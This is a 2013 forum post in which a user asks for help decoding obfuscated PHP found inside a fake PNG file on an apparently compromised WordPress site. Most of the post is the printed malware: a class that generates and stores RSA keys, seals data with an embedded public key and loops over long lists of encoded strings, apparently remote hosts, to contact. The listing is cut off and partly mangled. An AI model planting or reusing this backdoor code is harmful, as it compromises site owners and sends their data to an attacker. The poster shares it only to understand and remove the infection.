Author Topic: Malware inside png - using rsa2048 base64 md5 rot13  (Read 2872 times)

0 Members and 1 Guest are viewing this topic.

Offline JohnnyFeelgood

  • Serf
  • *
  • Posts: 22
  • Cookies: 3
    • View Profile
Malware inside png - using rsa2048 base64 md5 rot13
« on: December 01, 2013, 01:43:05 am »
Hi,
I just found some code inside fake png file. The code is then included from within root php file.

However I would like too understand the cotents of this file. Any pointers on smart solving this?


Code: (php) [Select]
<?php
error_reporting
(0);
if (!
defined('WP_OPTION_KEY'))
{
   function 
unique-function-name()
   {
      
define('WP_OPTION_KEY''wp_data_newa');
      new 
unique-class-name-id2();
   }
   
add_action('init''unique-function-name');
}
class 
unique-class-name

{
   private 
$AcheTwkrhTtKmyatQGqYFc$SntMBKFkfTlUzXyNVQedo$YcmysXeieEGqvkjRIsPYg;
   public function 
__construct($BZaxGALPLdVfntBIQWUPs 'old')

   {
      if (
$BZaxGALPLdVfntBIQWUPs == 'new')
      {
         
$this->QxEolVsSqvJZyRSgHFmL();
      }
      else
      {
         
$this->yOlGcuINHlzAVPznEbGNvwJM();
      }
      
$this->SntMBKFkfTlUzXyNVQedo =
      
"-----BEGIN PUBLIC KEY-----
      \r\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6K/I2l6k2Iz7Vojzxk5Q
      \r\n43QNfIJm2jWPvXAvFtft+yy4rD3MseQJWx3PLlkoRQjSI1uiiwwlPZWED0e5wFet
      \r\nnS5tKhvvRaOeUPYJq6MtyUbnaMn7bshlgaAlPaUCVdAOjdtGHMuFaWfnBLgTSu3c
      \r\nuccVC2zOlXx7XK1tw39eZepRemoh0W3Qhf+hDFsEzACSBmKhBiganwCZzTDvyXpj
      \r\nnfbRKbf26LJDJ9u2Choh768vQiIfuf0tGLQ+xxcBDl2ZVW0P76cd5I2v+lYRBD/X
      \r\nvgU32/UZeKDheA8M/oZ5/yFv5QWAU2SHEEKYfLkAQmXs/oRGqMQONqoL3W5Q4bE/
      \r\ngQIDAQAB
      \r\n
      -----END PUBLIC KEY-----"
;
   }
   private function 
yOlGcuINHlzAVPznEbGNvwJM()
   {
      
$oXyaqmHoChvHQFCvTluqmAC get_option('WP_CLIENT_KEY');
      
$this->AcheTwkrhTtKmyatQGqYFc $oXyaqmHoChvHQFCvTluqmAC;
   }
   private function 
QxEolVsSqvJZyRSgHFmL()
   {
      
$WUSuJUGMrzyhdyhyGeIjayJs $this->DWoPBIQOoBwLXRAmwfedw();
      
$this->AcheTwkrhTtKmyatQGqYFc $WUSuJUGMrzyhdyhyGeIjayJs['private'];
      
$this->YcmysXeieEGqvkjRIsPYg $WUSuJUGMrzyhdyhyGeIjayJs['public'];
      
update_option("WP_CLIENT_KEY"$this->AcheTwkrhTtKmyatQGqYFc);
   }
   public function 
bkBMtlOkGRaPFVExpcNbC($oXyaqmHoChvHQFCvTluqmAC)

   {
      
openssl_seal($oXyaqmHoChvHQFCvTluqmAC$XSuQpMSlwhlPZypBIPnfjXTA$THPieTXOYTCWThoTFSSuHU, array(
         
openssl_pkey_get_public($this->SntMBKFkfTlUzXyNVQedo)
      ));
      return array(
         
"data" => base64_encode($XSuQpMSlwhlPZypBIPnfjXTA) ,
         
"key" => base64_encode($THPieTXOYTCWThoTFSSuHU[0])
      );
   }
   public function 
MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluqmAC)

   {
      
openssl_seal($oXyaqmHoChvHQFCvTluqmAC$XSuQpMSlwhlPZypBIPnfjXTA$THPieTXOYTCWThoTFSSuHU, array(
         
openssl_pkey_get_public($this->YcmysXeieEGqvkjRIsPYg)
      ));
      return 
json_encode(array(
         
"data" => base64_encode($XSuQpMSlwhlPZypBIPnfjXTA) ,
         
"key" => base64_encode($THPieTXOYTCWThoTFSSuHU[0])
      ));
   }
   public function 
qPhSGyDrRdyPezAnHgiao()

   {
      return 
$this->YcmysXeieEGqvkjRIsPYg;
   }
   public function 
skwTpfzBalSTBTBkLvhw($piiJbwvzLxHvKjlNnFzd)

   {
      
$this->YcmysXeieEGqvkjRIsPYg $piiJbwvzLxHvKjlNnFzd;
   }
   public function 
vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC)

   {
      
$BdlbpgzPBjxVLkBLnsrXkmI json_decode($oXyaqmHoChvHQFCvTluqmACtrue);
      if (
$BdlbpgzPBjxVLkBLnsrXkmI !== false)
      {
         
$oXyaqmHoChvHQFCvTluqmAC $BdlbpgzPBjxVLkBLnsrXkmI;
      }
      if (!
is_array($oXyaqmHoChvHQFCvTluqmAC))
      {
         return 
false;
      }
      
openssl_open(base64_decode(trim($oXyaqmHoChvHQFCvTluqmAC['data'])) , $WQqrOQbxBHtERCkwicqAbase64_decode(trim($oXyaqmHoChvHQFCvTluqmAC['key'])) , $this->AcheTwkrhTtKmyatQGqYFc);
      return 
$WQqrOQbxBHtERCkwicqA;
   }
   public function 
DWoPBIQOoBwLXRAmwfedw()

   {
      
$IzGRmpLLtcLVMJRxcfpeGhQVry openssl_pkey_new(array(
         
'private_key_bits' => 2048,
         
'private_key_type' => OPENSSL_KEYTYPE_RSA,
      ));
      
openssl_pkey_export($IzGRmpLLtcLVMJRxcfpeGhQVry$IANNGYfyVIgZFkzWVTKmQGc);
      
$oXyaqmHoChvHQFCvTluqmAC['private'] = $IANNGYfyVIgZFkzWVTKmQGc;
      
$XEWVBmIaXvRqxrckbkOqw openssl_pkey_get_details($IzGRmpLLtcLVMJRxcfpeGhQVry);
      
$oXyaqmHoChvHQFCvTluqmAC['public'] = $XEWVBmIaXvRqxrckbkOqw['key'];
      return 
$oXyaqmHoChvHQFCvTluqmAC;
   }
}
class 
unique-class-name-id2

{
   public 
$oXyaqmHoChvHQFCvTluqmAC = array(
) , 
$yYVsqvOoqWsddypXgJcIKOw = array() , $qcCONSsvpJlMgdhEFFmrTI$IzGRmpLLtcLVMJRxcfpeGhQVry$aJQafHDwnaPrCJrQMjHVh$AeRxXNHxOXpcNJWlZSIKLhIw$vwhhtIrAWhUEFDgPrcco$htcFFCQTLLpnCchsPKGYxso$wqawPxkNytKqRKNRqbwAdw$IatJdWimJbxtprWZElHevfI$YobOrWbieESFVcSsWsuBypg;
   public 
$WbKPQMoSbMZkXUeYKXRIk;

   public function 
__construct()

   {
      
$this->yYVsqvOoqWsddypXgJcIKOw = array(
         
'==DZk4FZlVwY5RGZhpQB',
         
'=4JnhZUpck2olIKM',
         
'=4JnhZ3M1WJMeyTo',
         
'=02ow5FryW3ogkJnuWUq',
         
'6yzLhDKqwETol92q',
         
'==trcWzYyEKqwETol92q',
         
'g92LhZ3ni9Togyzr',
         
'==DoiAzYiEKqiyKMgS2p',
         
'=8zMhyzYhIJMlqzoi9Jo',
         
'=bKnv5vpuE3phSJofI2n',
         
'aW3ohHzMckzp19JM2y2M',
         
'=02ow5PoyITqmEJquWaM',
         
'==DoiAzY6ITqu1JLgkJL',
         
'g92LhpzockTocM2oaWKM',
         
'==toc5vo1AKMaSTofyzq',
         
'hyzY5Izpi1JM29Jo',
         
'==jMl9zY5ITMi9zMiyzL',
         
'aW3ohVGqlpzocuTq55JL',
         
'==jMl9zYhI2LmEapiO3p',
         
'aW3oh4JLwAUq0I3L',
         
'=pzpi5lp0WKLjSJMyWaM',
         
'==jqj5FqiyKMwyzoyA2p',
         
'3OaY1WGoj1JL',
         
'=pUphxKqaWKnuu2L',
         
'=4JnhVKMeAJnfMJock2p',
         
'=4JnhV3ox5JLl9TryuTq',
         
'=4Jnh4JqvyKMh9Tn',
         
'hyzYmk2oiEaoyk2M',
         
'hyzYh9TqlSzLhSTM',
         
'=4JnhNKqiW3Mf9TogyzL',
         
'==toc5lp0Szp0SzM',
         
'hyzYfIJM0Aaouu2L',
         
'hyzYlSTqm92Mhyzp',
         
'6yzLh4zpiEKMfqzocWaL',
         
'aW3ohHTo5E3pgHJocW3L',
         
'==trcWzYmgJLgyTqf9zM',
         
'==Nqy5zYmAKMhy2M0ITo0I3o',
         
'==jqj5PnmyzMiEUnmyzp',
         
'==jqj5lphS2pfIzquWUq',
         
'==trcWzYlITMuk2Mc5Jq',
         
'0IzohZUocSzMlITMh92q',
         
'0IzohZKMfyUqm52ohITr',
         
'=pzpi5vouEKn0g2LukzL',
         
'=HJohNKqbSTof9Tn',
         
'=DKMh5lpyEJLlq2ohSzo',
         
'6yzLhxapu1TMuITM',
         
'==Nqy5zY39zoe1JLyWUM',
         
'==Nqy5zYlITqm9zM5STo',
         
'==joz5JnhZKMa5JLlE3p',
         
'==trcWzYfy2MlITqhIUn',
         
'=bKnv5FM4S2nfyJo',
         
'=bKnv5PqcgJLgSzp',
         
'==trcWzYfk2ovITqiIKp',
         
'==DoiAzYm52ox1zM',
         
'=02ow5lpwy2p11JLlSTM',
         
'=02ow5vpyWzLiWzpyq2MiWaM',
         
'=02ow5lphIJof92n',
         
'=02ow5lpykTpgS2pi9zM',
         
'==DoiAzYmEzpu9zL2EKo',
         
'==trcWzYmyKLxIao',
         
'iMzoc5lp5kzMx5JLlS2L',
         
'==jow5lqikTn0SJo',
         
'=82Lh82nhIJo',
         
'=02ow5vpiu3Lc1JLhyUM',
         
'==DMg5FngSTMhI2q',
         
'=bKnv5Pqcg2of9zr',
         
'==jqj5PofS2qlITqhSTn',
         
'aW3ohD3owyKMh9Jo',
         
'6yzLhxKoyEJLwSJM0y2pvI2q',
         
'=bKnv5lo5ITMi9zM',
         
'==trcWzYmkJL0W3ojAKM',
         
'==toc5lp3Izo3SJo',
         
'=4Jnhf2LiWKolITq',
         
'hyzYeA2olIzoiE3p',
         
'=4Jnh82oz1zM',
         
'hyzY0WKLjSJMyWaM',
         
'==toc5PMhSTolSTqcI3M',
         
'==toc5vou12MiWUp',
         
'==toc5voz1zM',
         
'hyzYj9TouWKMhI2M',
         
'=4JnhjJL0W3ojAKM',
         
'=8zMhyzYykTpgS2pi9zM',
         
'==joz5JnhHJMlMTAiWTn',
         
'==joz5JnhHaZhITqmyTo',
         
'=8zMhyzYyqJLjgzo',
         
'iMzoc5vMfSTnvI2q',
         
'3OaYm5JqaWzM',
         
'=pUphH2nuEaZwyTp',
         
'=pUphZapyE3pu1JMmIzocu2L',
         
'=pUphxUMukJr6SToi9zM',
         
'3OaYyAKqi92n',
         
'0IzohxKLxIao',
         
'=DKMh5Fne9TMhyzM',
         
'==Nqy5zY5kzMx5JLlS2L',
         
'==Nqy5zYi9zMgyzM',
         
'==Nqy5zY392qzqKL',
         
'==DoiAzYyyao2EKo',
         
'=02ow5lpuyTMySKney2q',
         
'g92Lh4JMwEapiO3p',
         
'=02ow5FMyWaM2EKo',
         
'==DoiAzY3Izo3SJo'
      
);
      
$this->aJQafHDwnaPrCJrQMjHVh = array(
         
'=HaphjJnu1TD1ETn1c2p',
         
'==DoiAzYfyJLgqTDwyToiMKLlESofSTMhSzH',
         
'==DoiAzYfyJLgqTDkHGBkDapyq3phSHouyTofy2I',
         
'g92LhjJnu12MNEJMjWKq0IzDmSJoiuTI',
         
'==DoiAzYfyJLgqTD39TqlITnHIJnfIaF',
         
'==DoiAzYfyJLgqTDx5JLaIzpv1JqGIzouyTE',
         
'g92LhjJnu12MNyaL4STqc12oQWKMbO3o0AKnlu2D',
         
'=02ow5PocSJoaORZ4xGZmyJobAIL0yzH',
         
'=02ow5PocSJoaORMhSTqlSTovI3oGy3LuE3H',
         
'==DoiAzYfyJLgqTDhIToxyzEl9zqyWUI',
         
'=02ow5PocSJoaORMy5zpyOUpOqJnuW3D',
         
'==DoiAzYfyJLgqTDmHGBk4JMxSHMjIUG',
         
'g92LhjJnu12MNyQAlIzp192Dy5Jn0AKnlu2D',
         
'g92LhjJnu12MNIJo05JngS2H0WKMv9zH',
         
'==DoiAzYfyJLgqTD1DQquu2pcuTIy5zou9zF',
         
'==DoiAzYfyJLgqTDxIzpx5JnuqRoySTnwyJG',
         
'=02ow5PocSJoaORMyE3LyWUHyyTqlIzD',
         
'=02ow5PocSJoaORMuuTqa5JnuAyrcWUquIzD',
         
'g92LhjJnu12MNA3py12oKS2LcWKE',
         
'g92LhjJnu12MNAap1EKMGWKMbO3o0AKnlu2D',
         
'=02ow5PocSJoaOxpyE3puuTIh5JD',
         
'==DoiAzYfyJLgqTDbEKnx5JDyyTnj92H',
         
'g92LhjJnu12MNEaoyq3o05JIhyzqfIJG',
         
'=02ow5PocSJoaORA4xGZxI2MlITn09TpjS0nlSJG',
         
'==DoiAzYfyJLgqTDjLGBkHTq192H0WKMv9zH',
         
'=02ow5PocSJoaORMcSToj1JMfWJDyI2LhSzG',
         
'g92Lhj2ouOHoiWaLuEJn',
         
'=02ow5PoiSTDcEJLg91L',
         
'==DoiAzYf9JLNSQofy2Mw1zYyyJogyzn',
         
'=02ow5PoiSTDljJM0STphf2L1u2L',
         
'==DoiAzYf9JLNSwpyMJLbA3KuEaoucJL',
         
'=02ow5PoiSTDyI2Mu12KyWUMhSzr',
         
'g92Lhj2ouORMlSTnwIzLyAKnhITM',
         
'==DoiAzYf9JLNWKMhEUq1WzocWUMfIJo',
         
'=02ow5PoiSTDfSzpiEJLxkJL',
         
'==DoiAzYf9JLN52omWJna9IL5Szn',
         
'g92Lhj2ouO0pykJn0AaYy5Jn0AKnlu2L',
         
'==DoiAzYf9JLNcKLj5lo05JnwSzn',
         
'=02ow5PoiSTDbAJnyW3pc12oe9zo',
         
'g92Lhj2ouOHZhyzpl9JobqJLhIJo',
         
'==DoiAzYf9JLNWJL0EKMfI2M',
         
'==DoiAzYf9JLNWKM0AKMigzYyyzpl9TM',
         
'=02ow5PoiSTDyEKLgIUnm5Pp',
         
'g92Lhj2ouOxoiAaouq3psSJnh9ToiOKL',
         
'==DoiAzYf9JLN1JLb5JLlW2KgSJnlyJo',
         
'==DoiAzYf9JLNSmolWKL2SzosyKMfSTn',
         
'=02ow5PoiSTDk4zpiu2KuyzpyEJLhSTp',
         
'==DoiAzYf9JLNS2nmSTnm5vq',
         
'g92Lhj2ouORoyITqsyaohI2n',
         
'=02ow5PoiSTDh92phyTqhRJrcWUp',
         
'=02ow5PoiSTDygzp1W2KukToyE3p',
         
'==DoiAzYf9JLN5Jn6k2oj5loxWKLwIzp',
         
'==DoiAzYf9JLNcKMlI3ofSTq',
         
'=02ow5PoiSTDmEapyWzLy9ILbEKMl9TM',
         
'=02ow5PoiSTDkDUoiWzocSzpskJqxWJL',
         
'=02ow5PoiSTDmITqlIJqz5vq',
         
'=02ow5PoiSTDay2q0WKLb9SMyW3L',
         
'=02ow5PoiSTDa5Jnzu2olyaplSTo',
         
'g92Lhj2ouO0phy2May2qh4Jn2kJL',
         
'g92Lhj2ouOHZ5ITofI2nh8Jnwyzp1SJo',
         
'==DoiAzYf9JLN1JLhgJnh9ILxIzq',
         
'g92Lhj2ouOHnhyJqlIzoiITo',
         
'==DoiAzYf9JLNqzouI3oe5Fo',
         
'=02ow5PoiSTDuEJMl9zrsSTn0WKMvkJL',
         
'==DoiAzYf9JLNWKqm5JLg9In',
         
'==DoiAzYf9JLN52ogg2Lcu2KhS2Ml9Jo',
         
'==DoiAzYf9JLNWKMxyJMz5lL',
         
'=02ow5PoiSTDhyTo1EzYbAKL',
         
'g92Lhj2ouOxpy5zpiqzYukJMgSTp',
         
'g92Lhj2ouOxohS2qhRzrukzL',
         
'=02ow5PoiSTDykJM6IJn65FL',
         
'==DoiAzYf9JLNA3pyu2Kv9zp',
         
'==DoiAzYf9JLNWUnikzMhRToyy2LuW3M',
         
'=02ow5PoiSTDkHzoiMKLv9ILckJMlIKL',
         
'g92Lhj2ouOHZfIKLj9In',
         
'=02ow5PoiSTDm5JnaE2ob5PqlSzL',
         
'==DoiAzYf9JLNITouIzqhxTM',
         
'=02ow5PoiSTDuy2LmIKosSTMhIUnmSTo',
         
'=02ow5PoiSTDkf2Li1zYuEKnf9To',
         
'g92Lhj2ouOxouAJn4IJoskJnlOKL',
         
'=02ow5PoiSTDkjToyq3oj5voyWKn',
         
'=02ow5PoiSTD0IJog9zpw5ln',
         
'=02ow5PoiSTDmO3oiE3p0IJMd5JLly2n',
         
'==DoiAzYf9JLNk2olWKLw9IL0AKMx9Jo',
         
'g92Lhj2ouOxouyKLvSzLxITnmSzp',
         
'g92Lhj2ouOHZmgzpuOaYfkJM3Izn',
         
'g92Lh82obSJrN1Jn5I2p192DuAKn19TG',
         
'=02ow5loiuJL5OHqf9zocqUMi92Euy2LckJD',
         
'=02ow5loiuJL5O0ohy3p3Izpx5JDyy2nwSzF',
         
'g92Lh82obSJrN9zMuIzpi1zpyMKnZITq0ITof92D',
         
'=02ow5loiuJL5OHrfyJrlWKIuyzqfy3H',
         
'=02ow5loiuJL5ORMiMzoiAaocW2oFSJnwIUG',
         
'g92Lh82obSJrNqJn2AKn0WKLDyUolS2D',
         
'g92Lh82obSJrNI3pjIJnh5JMZy3p0STH',
         
'=02ow5loiuJL5O0MxSJMm9zDyyzqyE3H',
         
'==DoiAzYi9TnuyUDeSzp5ITouITFyyzouuTpyE3H',
         
'=02ow5loiuJL5OHrhITquuJnByaplITI',
         
'g92Lh82obSJrNyzLy5JnzMJnlqHL5SJG',
         
'g92Lh82obSJrNAJo1I2Mxyzpa5JLZyaohSTE',
         
'g92Lh82obSJrNOKngyKM39TIyIKpckJMa5JD',
         
'=02ow5loiuJL5OxMaIKMm9zHgy2F',
         
'=02ow5loiuJL5OxL5kzoiAUoy5xoiWapuu2H',
         
'g92Lh82obSJrN1JrayaplSTF5ITocI2F',
         
'==DoiAzYi9TnuyUD5WJnmI2MxyzpPyzLv9zD',
         
'==DoiAzYi9TnuyUDfy3LxW3ozkTouuHL5SJG',
         
'g92Lh82obSJrN52o0yKMfu2L0STIy5JMxSzF',
         
'=02ow5loiuJL5O0oi1TMuETMuuHMwyzouu2H',
         
'=02ow5loiuJL5OxoukJMiqJLFyaLvyTG',
         
'=02ow5loiuJL5OHM0SJMfOUpcEIrwSTG',
         
'=02ow5loiuJL5OHrv9Tnw92oUyKogS2H',
         
'g92Lh82obSJrNE3o25JMfkJEhIJn2yzI',
         
'==DoiAzYi9TnuyUD5WJqy5JnxWKLXIJn0AKnlu2D',
         
'g92Lh82obSJrNIaq1g2LcuTpfIHMfITnwyJG',
         
'=02ow5loiuJL5O0oj9TolSJEyyTofyJG',
         
'==DoiAzYi9TnuyUDvyUMyyTqmyzpbAHLcqzpiI2E',
         
'g92Lh82obSJrN9zpf52omyzohITEyyToc1JE',
         
'==DoiAzYi9TnuyUDlqJrmyToa5JFgSJnlyJG',
         
'==DoiAzYi9TnuyUDuIKqfkJqU52o2ITE',
         
'=02ow5loiuJL5OHqgIUq0I2nwSToP5JLly2F',
         
'==DoiAzYi9TnuyUDuy3LxITq4y2IhyJo6SJJ',
         
'=02ow5loiuJL5OHnm9zpyAap1OyouIzF',
         
'=02ow5loiuJL5OHLcAKr2STEyIJnx9zF',
         
'==DoiAzYi9TnuyUD292pyAJrlWHrfWKM2IzD',
         
'==DoiAzYi9TnuyUDcWJLwyzqyAJnaSzpRyaohSzE',
         
'=02ow5loiuJL5OHrwIUofI2nmSJGyyzLvITE',
         
'g92Lh82obSJrN5JneyToiyJLlWKMTSzpuy2D',
         
'g92Lh82obSJrN9zqc52o0WKMe5JnDyKMfSTF',
         
'=02ow5loiuJL5O0L1y3nlIUqlIUFuEKnhIzD',
         
'g92Lh82obSJrNSJnw52omETou52oREKMhSzF',
         
'g92Lh82obSJrNyKouyaLfyTnDITq0ITof92D',
         
'=02ow5loiuJL5OHnzWJMc5zoykHngIzH',
         
'g92LhjJnu1TqiuTD5kJnlyUqyM2oeIar',
         
'=02ow5PocSJo09TnNM3olyUpcuJMgSzM',
         
'g92LhjJnu1TqiuTDyEKqlyTriEJqvyan',
         
'g92LhjJnu1TqiuTDcWKneSzo1E3olyJp',
         
'g92LhjJnu1TqiuTDuqJLfyUMiq2o0yzL',
         
'=02ow5PocSJo09TnNEKqvI2L1uJrzI2M',
         
'g92LhjJnu1TqiuTDu5Jndy3MyOKnaITq',
         
'=02ow5PocSJo09TnNcKrkIzq15JnhIUo',
         
'=02ow5PocSJo09TnNEJqgIaL1WKMvy3n',
         
'g92LhjJnu1TqiuTDuEKMlyzr5A3o6Iar',
         
'g92LhjJnu1TqiuTDcuKr6y3pcEJMmyzM',
         
'=02ow5PocSJo09TnNWKrkSzo5E3oh92n',
         
'g92LhjJnu1TqiuTD55JMwy3MigJrjSzM',
         
'=02ow5PocSJo09TnNuKLaSTnu52o3yUM',
         
'g92LhjJnu1TqiuTDyqKn6SJp1AJnfyUo',
         
'=02ow5PocSJo09TnNOKLxSzMcuJMwSTr',
         
'g92LhjJnu1TqiuTDyg2olyzpiuJn4yzo',
         
'=02ow5PocSJo09TnNAJngIaMyAKrvIzL',
         
'g92LhjJnu1TqiuTDu1JLmIaM1M3owS2n',
         
'=02ow5PocSJo09TnNA3oxSzn1MJrwyap',
         
'g92LhjJnu1TqiuTDiuKq69zr5u2o0SJo',
         
'=02ow5PocSJo09TnNAKrgyUn5uKqb9To',
         
'g92LhjJnu1TqiuTDykJqgIKpuqJrayTn',
         
'g92LhjJnu1TqiuTDyWKLxyzpcqJq4Szp',
         
'=02ow5PocSJo09TnNAJL0I2LcAJnxyzn',
         
'g92LhjJnu1TqiuTD5c2ojSzMcAKnzyzo',
         
'=02ow5PocSJo09TnNcKqeyzniqJLl9To',
         
'=02ow5PocSJo09TnNu2o4y2MiAJM0Iao',
         
'=02ow5PocSJo09TnN5JreS2M5EKnhITo',
         
'=02ow5PocSJo09TnNAJnwyUncEJqbSTo',
         
'=02ow5PocSJo09TnNuJnvIznuEKMaIao',
         
'g92LhjJnu1TqiuTD1EKrmy3LyMJqkIKo',
         
'g92LhjJnu1TqiuTDuEJMfIUo5kJq4y2M',
         
'g92LhjJnu1TqiuTDyEKMgIUM5MJMgS2n',
         
'g92LhjJnu1TqiuTDuAKrmy3LuAKrk9zn',
         
'g92LhjJnu1TqiuTDcWJLgy3ny5Jq6yTp',
         
'g92LhjJnu1TqiuTDyMJLjSTM5W3o49zp',
         
'=02ow5PocSJo09TnNW3oaSTMcuKrmITo',
         
'=02ow5PocSJo09TnNSKr6IaLcSKMbS2n',
         
'g92LhjJnu1TqiuTD1E2o2yzruAKqv9zq',
         
'=02ow5PocSJo09TnNEJngITqucJreyTM',
         
'g92LhjJnu1TqiuTDiu2oly3L1u3o3yaM',
         
'g92LhjJnu1TqiuTD15Jqa9zn1OKqmyJp',
         
'g92LhjJnu1TqiuTDuuKn4SJpiAKrey3p',
         
'=02ow5PocSJo09TnNgJMzSJpuWJq2yTp',
         
'=02ow5PocSJo09TnNuJn4IzqiW3o39Jo',
         
'g92LhjJnu1TqiuTD5SKnmIaricKrvIJo',
         
'=02ow5PocSJo09TnNS3odS2MyuJqxyTo',
         
'=02ow5PocSJo09TnNcJrzyJp55JqeI2q',
         
'g92Lhf2oikTq19TD5uJL4yTM1EKMk9zM',
         
'g92Lhf2oikTq19TD5AJq4Iaq1uKq4y2p',
         
'=02ow5lni9To0I3oNc3ojIKocMJMgy3n',
         
'=02ow5lni9To0I3oNc3ogSzq5EJnaIUo',
         
'=02ow5lni9To0I3oNcKnd92pigJM292p',
         
'g92Lhf2oikTq19TD5EJMfy3pycJn29zr',
         
'=02ow5lni9To0I3oNcJqkyaq1gJr0Izo',
         
'g92Lhf2oikTq19TDyAJnd9Tn5EJMwSJp',
         
'=02ow5lni9To0I3oNSKLgyUpygJq4yao',
         
'g92Lhf2oikTq19TDuEJrjIzocuJMxS2L',
         
'=02ow5lni9To0I3oNu3ojyJoySKqvITr',
         
'g92Lhf2oikTq19TD5EJqhyTn1gJMkyan',
         
'g92Lhf2oikTq19TD5AJneITncqJndyUp',
         
'g92Lhf2oikTq19TD15JnwIUoykJLgI2M',
         
'g92Lhf2oikTq19TDuOKrfSJou1Jn0IUr',
         
'=02ow5lni9To0I3oNuKqhyapcWKnxy2M',
         
'=02ow5lni9To0I3oNcKMbSznucJq0Iap',
         
'g92Lhf2oikTq19TD5A3omy3nicJrdy3M',
         
'g92Lhf2oikTq19TD1WJrgS2Mc12omIzM',
         
'=02ow5lni9To0I3oNO3ofy3qiMKqbIzr',
         
'=02ow5lni9To0I3oNEKn4I3L1SKqfIUq',
         
'=02ow5lni9To0I3oN5JrfyzMcMJqfIKp',
         
'=02ow5lni9To0I3oNqKrxSTqygJrk9zo',
         
'g92Lhf2oikTq19TDikJnvSJp5qKqkIar',
         
'g92Lhf2oikTq19TD5O3ovy2piqJnhIUq',
         
'g92Lhf2oikTq19TDyMKL092L5MKqwIzL',
         
'=02ow5lni9To0I3oNcJqbIap5cKL0yKp',
         
'g92Lhf2oikTq19TD5qKrdS2qiAJMvITq',
         
'=02ow5lni9To0I3oNWKM6yarycJqjSzo',
         
'=02ow5lni9To0I3oN1JM39JoiAKMbyaL',
         
'g92Lhf2oikTq19TD55JnmIUM1cKrm92p',
         
'=02ow5lni9To0I3oNq3oh9zryc3og9Tq',
         
'g92Lhf2oikTq19TD1OKrvyaMuWJqxyUM',
         
'g92Lhf2oikTq19TDiMKnvyaM1uJngIzr',
         
'=02ow5lni9To0I3oNqKMbIUnyqKMeSTp',
         
'=02ow5lni9To0I3oNqKngIzL1uKLlIzo',
         
'g92Lhf2oikTq19TDu52oj92LyuJLmyzp',
         
'=02ow5lni9To0I3oNOKL69zMucKMlSTM',
         
'=02ow5lni9To0I3oNuKqmyTnucJM2I3L',
         
'g92Lhf2oikTq19TDySKrmSTn5qKLbIao',
         
'g92Lhf2oikTq19TD1EKnxIJoccKL0Iao',
         
'g92Lhf2oikTq19TD5qKr6yzoicJMa9zo',
         
'g92Lhf2oikTq19TDuqJnzIao1MJnxIao',
         
'=02ow5lni9To0I3oNc2odI2p1WKMgIzr',
         
'g92Lhf2oikTq19TD1uKndSTquqJrhSTo',
         
'=02ow5lni9To0I3oNuKrwyap1cJL39Tn',
         
'=02ow5lni9To0I3oNEJrkS2pikJMbIzn',
         
'g92Lhf2oikTq19TDiqJMay2p1E2ofyaL',
         
'g92Lhf2oikTq19TDiqKqfIzoykJqlyzo',
         
'=02ow5lni9To0I3oNcKrbSzn51JrzI2n',
         
'=02ow5lni9To0I3oNgJLh92McuKqm92p',
         
'g92Lhf2oikTq19TDcq2owyap112ox9Tq',
         
'g92Lhf2oikTq19TDiWJq6yJoykJMjS2M',
         
'g92Lhf2oikTq19TDugJray3qcqJnwSzM',
         
'g92Lhf2oikTq19TDcqJnmyzruEKqeyzM',
         
'=02ow5lni9To0I3oN5JMmyUr5AJn2yUp',
         
'g92Lhf2oikTq19TD5MJLfyTMuc3o6Izr',
         
'g92Lhf2oikTq19TDiAJq6yTpyEJMbI3M',
         
'=02ow5lni9To0I3oNAJqvI2q1MKLxS2q',
         
'g92Lhf2oikTq19TD1EKLeSzp11JLxy2p',
      );
      
$this->dIOUyQsvDqPHTBIxnlYs();
      
$this->YobOrWbieESFVcSsWsuBypg false;
      
$oXyaqmHoChvHQFCvTluqmAC get_option(WP_OPTION_KEY);
      if (
$oXyaqmHoChvHQFCvTluqmAC == null || $oXyaqmHoChvHQFCvTluqmAC == 'null')
      {
         
$oXyaqmHoChvHQFCvTluqmAC '';
      }
      if (
$oXyaqmHoChvHQFCvTluqmAC == '')
      {
         
$this->wqawPxkNytKqRKNRqbwAdw true;
         
$this->AeRxXNHxOXpcNJWlZSIKLhIw = new unique-class-name('new');
         
$this->QxEolVsSqvJZyRSgHFmL();
      }
      else
      {
         
$this->AeRxXNHxOXpcNJWlZSIKLhIw = new unique-class-name();
         
$this->oXyaqmHoChvHQFCvTluqmAC $this->McEnUjjQfaFzqGsihhU($oXyaqmHoChvHQFCvTluqmACtrue);
         if (isset(
$this->oXyaqmHoChvHQFCvTluqmAC['info']['publicKey']))
         {
            
$this->AeRxXNHxOXpcNJWlZSIKLhIw->skwTpfzBalSTBTBkLvhw($this->oXyaqmHoChvHQFCvTluqmAC['info']['publicKey']);
         }
      }
      
$this->OFwlxWaeMyxznpZtnfJLQA();
      if (
$this->TztHMzNNJASlMfiSOwxQpE())
      {
         die();
      }
      if (!
$this->wqawPxkNytKqRKNRqbwAdw)
      {
         
$this->KPBBXYwmuPGPaTyLhWevI();
      }
   }
   private function 
QxEolVsSqvJZyRSgHFmL()
   {
      
$WbKPQMoSbMZkXUeYKXRIk $this->KZdGlovqEtKYUSCqSVnK();
      
$WbKPQMoSbMZkXUeYKXRIk['publicKey'] = $this->AeRxXNHxOXpcNJWlZSIKLhIw->qPhSGyDrRdyPezAnHgiao();
      
$this->WbKPQMoSbMZkXUeYKXRIk $WbKPQMoSbMZkXUeYKXRIk;
      
$vsJigIMHYwdFnuqvRwrvms false;
      
$BCEUSjHFFwzzqmHmpjjQI 0;
      foreach(
$this->HSxTktcbTftjZjKRHHmhr() as $gXNjWLFkUQOugyREMXKvZBfw)
      {
         
$oXyaqmHoChvHQFCvTluqmAC $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw$WbKPQMoSbMZkXUeYKXRIk);
         
$oXyaqmHoChvHQFCvTluqmAC $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluqmAC);
         if (
$oXyaqmHoChvHQFCvTluqmAC !== false)
         {
            
$vsJigIMHYwdFnuqvRwrvms true;
            if (
$this->YobOrWbieESFVcSsWsuBypg)
            {
               break;
            }
            break;
         }
      }
      if (
$vsJigIMHYwdFnuqvRwrvms)
      {
         if (
$this->YobOrWbieESFVcSsWsuBypg)
         {
            
$oXyaqmHoChvHQFCvTluqmAC $this->oqtYbOOiucMYWyZsGEuETRhB();
         }
         
